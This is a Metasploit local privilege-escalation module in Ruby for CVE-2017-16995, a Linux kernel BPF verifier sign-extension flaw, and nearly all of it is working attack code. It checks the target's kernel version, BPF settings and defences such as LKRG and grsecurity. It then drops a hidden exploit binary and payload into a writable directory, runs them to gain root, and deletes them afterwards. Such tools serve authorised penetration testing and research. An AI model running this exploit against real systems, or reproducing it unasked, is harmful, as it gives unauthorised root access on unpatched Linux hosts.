Linux BPF Sign Extension Local Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',
        'Description' => %q{
          Linux kernel prior to 4.14.8 contains a vulnerability in the Berkeley
          Packet Filter (BPF) verifier. The `check_alu_op` function performs
          incorrect sign extension which allows the verifier to be bypassed,
          leading to arbitrary kernel read/write.

          The target system must be compiled with BPF support and permit
          unprivileged access to BPF with `kernel.unprivileged_bpf_disabled`
          not set to 1.

          This module has been tested successfully on:

          Debian 9.0 kernel 4.9.0-3-amd64;
          Deepin 15.5 kernel 4.9.0-deepin13-amd64;
          ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
          Fedora 24 kernel 4.5.5-300.fc24.x86_64;
          Fedora 25 kernel 4.8.6-300.fc25.x86_64;
          Fedora 26 kernel 4.11.8-300.fc26.x86_64;
          Fedora 27 kernel 4.13.9-300.fc27.x86_64;
          Gentoo 2.2 kernel 4.5.2-aufs-r;
          Linux Mint 17.3 kernel 4.4.0-89-generic;
          Linux Mint 18.0 kernel 4.8.0-58-generic;
          Linux Mint 18.3 kernel 4.13.0-16-generic;
          Mageia 6 kernel 4.9.35-desktop-1.mga6;
          Manjero 16.10 kernel 4.4.28-2-MANJARO;
          Solus 3 kernel 4.12.7-11.current;
          Ubuntu 14.04.1 kernel 4.4.0-89-generic;
          Ubuntu 16.04.2 kernel 4.8.0-45-generic;
          Ubuntu 16.04.3 kernel 4.10.0-28-generic;
          Ubuntu 17.04 kernel 4.10.0-19-generic;
          ZorinOS 12.1 kernel 4.8.0-39-generic.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Jann Horn', # Discovery
            'bleidl', # Discovery and get-rekt-linux-hardened.c exploit
            'vnik', # upstream44.c exploit
            'rlarabee', # cve-2017-16995.c exploit
            'h00die', # Metasploit
            'bcoles' # Metasploit
          ],
        'DisclosureDate' => '2017-11-12',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' =>
          [
            [ 'BID', '102288' ],
            [ 'CVE', '2017-16995' ],
            [ 'EDB', '44298' ],
            [ 'EDB', '45010' ],
            [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],
            [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],
            [ 'URL', 'https://cyseclabs.com/exploits/upstream44.c' ],
            [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],
            [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],
            [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],
            [ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
            [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],
            [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],
            [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],
            [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
          ],
        'Notes' =>
          {
            'AKA' => ['get-rekt-linux-hardened.c', 'upstream44.c'],
            'Reliability' => [ REPEATABLE_SESSION ],
            'Stability' => [ CRASH_OS_DOWN ]
          },
        'DefaultTarget' => 0
      )
    )
    register_advanced_options([
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    arch = kernel_hardware

    unless arch.include?('x86_64')
      return CheckCode::Safe("System architecture #{arch} is not supported")
    end

    vprint_good("System architecture #{arch} is supported")

    release = kernel_release
    if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
       Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
      return CheckCode::Safe("Kernel version #{release} is not vulnerable")
    end

    vprint_good("Kernel version #{release} appears to be vulnerable")

    if unprivileged_bpf_disabled?
      return CheckCode::Safe('Unprivileged BPF loading is not permitted')
    end

    vprint_good('Unprivileged BPF loading is permitted')

    if lkrg_installed?
      return CheckCode::Safe('LKRG is installed')
    end

    vprint_good('LKRG is not installed')

    if grsec_installed?
      return CheckCode::Safe('grsecurity is in use')
    end

    vprint_good('grsecurity is not in use')

    config = kernel_config

    if config.nil?
      return CheckCode::Detected('Could not retrieve kernel config')
    end

    unless config.include?('CONFIG_BPF_SYSCALL=y')
      return CheckCode::Safe('Kernel config does not include CONFIG_BPF_SYSCALL')
    end

    vprint_good('Kernel config has CONFIG_BPF_SYSCALL enabled')

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status('Live compiling exploit on system...')
      upload_and_compile(executable_path, exploit_data('cve-2017-16995', 'exploit.c'))
    else
      vprint_status('Dropping pre-compiled exploit on system...')
      upload_and_chmodx(executable_path, exploit_data('cve-2017-16995', 'exploit.out'))
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx(payload_path, generate_payload_exe)

    # Launch exploit
    print_status('Launching exploit ...')
    output = cmd_exec("echo '#{payload_path} & exit' | #{executable_path} ")
    output.each_line { |line| vprint_status line.chomp }
    print_status("Cleaning up #{payload_path} and #{executable_path} ...")
    rm_f(executable_path)
    rm_f(payload_path)
  end
end